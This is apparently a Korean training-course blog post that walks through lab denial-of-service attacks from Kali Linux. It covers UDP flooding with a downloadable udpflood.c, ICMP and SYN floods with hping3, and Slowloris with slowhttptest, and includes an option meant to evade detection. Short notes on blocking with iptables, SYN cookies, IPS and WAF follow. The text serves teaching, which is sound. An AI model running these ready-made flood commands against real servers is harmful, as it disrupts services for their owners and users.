- 다음과 같이 구성된 네트워크에서 152.75.84.18 --> 113.61.107.5 로 UDP Flooding 공격을 진행
https://mega.nz/file/lk5QwRCC#cw5ePEtb_axAxV2JQgNMHaqzXkSB4hkl0P_00x9AvQI
방법
다음 코드를 칼리 리눅스에 다운받아
gcc -o udpflood udpflood.c 로 컴파일 진행후
-2024.04.08 다운로드 링크 안될시 대체 링크-
https://drive.google.com/file/d/1uvqIvuERDEmhdi73ynqZt6xj-dpBaRf-/view?usp=drive_link
./udpflood 113.61.107.5 53 입력해 공격을 진행
다음과 같이 목적지 ip인 113.61.107.5 로 dns query가 나가는 것을 확인할 수있음
ICMP Flooding (= Ping of Death)
방법
hping3 --icmp 공격대상IP주소 -d 65000 --flood
진행
1. hping3 --icmp 113.61.107.5 -d 65000 --flood (공격 작업)
2. iptables -t fliter -A INPUT -p icmp -j DROP (iptables를 사용해 icmp를 차단)
3. hping3 --icmp 113.61.107.5 -d 65000 --flood (공격 작업)
검증
TCP SYN Flooding
방법
1. hping3 -S --flood --rand-source -p 21 공격자ip 로 공격 진행
검증
차단방법
SYN Cookie(방화벽에서)
- SYN를 수신하면 SYN+ACK 에 쿠키를 포함해서 전송
- 일정시간내에 정상적인 쿠키를 포함한 응답이 오지 않으면 차단해버린다
IPS로 차단
- 단위 시간당 일정회수 이상의 SYN를 제한한다.
Slowloris 공격
원리
HTTP에서 사용되는 TCP 세션을 고갈 시킴
HTTP GET 메소드를 사용하여 헤더의 최종 끝을 알리는 개행 문자열 \r\n\r\n (Hex: 0d 0a 0d 0a) 을 포함하지 않고 전송함으로써 서버는 요청이 완료되지 않았기때문에 계속 기다리게 되고…. TCP연결(세션)을 끊을 수 없으므로 웹서버와의 Connection(세션)이 최대한 오랫동안 유지되어서 TCP 세션(자원)을 고갈시키는 공격이다.
방법
apt-get install slowhttptest (인터넷 연결이 되야함)
slowhttptest -c 4000 -g -o slowloris -i 10 -r 100 -t GET -x 3 -p 3 -u 공격대상서버주소
옵션 설명
-g // 소켓 상태에 대한 통계 생성. -o 옵션과 함께 사용함.
-o [file_name] // report 보고서 출력파일 생성. -g 옵션과 함게 사용해야 한다.
-c // 공격대상에 연결시도할 최대 세션수.
-i // 데이터간 전송 간격(interval)
-r // 초당 연결 수. 높게 설정할수록 가파르게 연결 세션이 올라간다.
-s // 헤더의 내용 길이. 필요한 경우에 사용한다. RUDY와 같이 사용
-t [verb] // 요청 메시지 전송 시 지정한 Method를 사용(GET/POST)
-u [URL] // 공격 대상 서버의 URL 주소
-x [bytes] // 탐지를 피하기 위한 random한 문자열을 X- 다음에 붙여준다.
-p [Seconds] // 지정한 시간(초)이 흐른 후에도 응답이 없으면 접속 불가능하다고 판단한다.
검증
차단방법
- IPS로 차단
- WAF(Web Application Firewall)로 차단
--편집중--
'KH정보 교육원 일지 IT > Linux' 카테고리의 다른 글
sophos 방화벽(Vmware/Gns3 에서 사용/OSPF 설정) (0) | 2021.03.25 |
---|---|
Kali Linux를 사용한 서비스 인증 대입 공격 (0) | 2021.03.24 |
리눅스 라우터 ospf 설정법 (0) | 2021.03.02 |
Linux Web Service (0) | 2021.02.08 |
리눅스 메일서버 (0) | 2021.02.04 |